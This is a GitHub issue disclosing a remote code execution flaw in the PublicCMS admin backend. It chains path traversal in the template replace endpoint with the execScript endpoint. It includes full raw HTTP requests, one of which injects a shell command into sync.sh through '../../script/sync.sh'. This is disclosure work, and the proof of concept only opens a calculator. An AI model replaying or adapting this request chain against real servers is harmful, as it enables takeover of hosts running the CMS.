sanluan/PublicCMS

Admin backend RCE

mntn0x opened this issue · 1 comments

mntn0x commented

In the development - file management - page fragment template, template search and replacement can be performed, with the corresponding interface as follows:
image
image
The request for replacement is as follows:
The corresponding code is in com.publiccms.controller.admin.cms.CmsTemplateAdminController#replace.
image
The focus is on CmsFileUtils.replaceFileList;, which performs a straightforward line-by-line replacement of file content. The file to be replaced is determined by File file = Paths.get(dirPath, result.getPath()).toFile();. No checks are performed, and it can replace the content of any file by specifying it in the request. This can potentially lead to the replacement of SSH public keys and scheduled tasks, among other things.
image
Let's take a look at the script execution functionality provided in the backend.
image
对应代码在com.publiccms.controller.admin.sys.SysSiteAdminController#execScript
image
image
It's important to note that FileUtils.copyInputStreamToFile; is used to copy pre-written script content to the PublicCMS/publiccms-parent/publiccms/data/publiccms/script; directory. Finally, the script path is concatenated, and runtime.exec is used to execute it.

Given that we can replace the content of any file in a previous step, it becomes possible to replace the content of the four predefined scripts and then execute them, potentially leading to Remote Code Execution (RCE).
So, the steps to exploit this vulnerability would be as follows:

  1. Access /admin/sysSite/execScript to execute sync.sh. This will copy a sync.sh script under PublicCMS/publiccms-parent/publiccms/data/publiccms/script.
POST /admin/sysSite/execScript?navTabId=sysSite/script HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 70
Origin: http://localhost:18080
Connection: close
Referer: http://localhost:18080/admin/
Cookie: theme=; theme_name=; csrftoken=nagG0EofiBEBUgPkAO3ZHUODrtD5867I; Hm_lvt_c35e3a563a06caee2524902c81975add=1681284434,1681372182; Goland-6d468fe8=7f0149f3-a68b-4909-aff4-4831a68cc331; JSESSIONID=EBBE1DE1D5FFBD89A913A1D70DAC1E0F; PUBLICCMS_ANALYTICS_ID=f945b9f2-19bd-4c7a-8ab0-28384011ddb8; PUBLICCMS_ADMIN=1_fadb2fab-2700-4f54-a679-6e6deb1a5ad4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

_csrf=fadb2fab-2700-4f54-a679-6e6deb1a5ad4&command=sync.sh&parameters=
  1. Use /admin/cmsTemplate/replace to perform cross-directory replacement of any file content. This allows you to replace SSH keys or the content of the sh files mentioned above.
POST /admin/cmsTemplate/replace?navTabId=placeTemplate/list HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
Origin: http://localhost:18080
Connection: close
Referer: http://localhost:18080/admin/
Cookie: theme=; theme_name=; csrftoken=nagG0EofiBEBUgPkAO3ZHUODrtD5867I; Hm_lvt_c35e3a563a06caee2524902c81975add=1681284434,1681372182; Goland-6d468fe8=7f0149f3-a68b-4909-aff4-4831a68cc331; JSESSIONID=EBBE1DE1D5FFBD89A913A1D70DAC1E0F; PUBLICCMS_ANALYTICS_ID=f945b9f2-19bd-4c7a-8ab0-28384011ddb8; PUBLICCMS_ADMIN=1_fadb2fab-2700-4f54-a679-6e6deb1a5ad4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

_csrf=fadb2fab-2700-4f54-a679-6e6deb1a5ad4&word=-echo&replace=-echo%3bopen+-a+calculator.app&replaceList%5B0%5D.path=../../script/sync.sh&replaceList%5B0%5D.indexs=0
  1. Access /admin/sysSite/execScript again to execute sync.sh, which may lead to Remote Code Execution (RCE). The request package should be the same as in step 1.
    image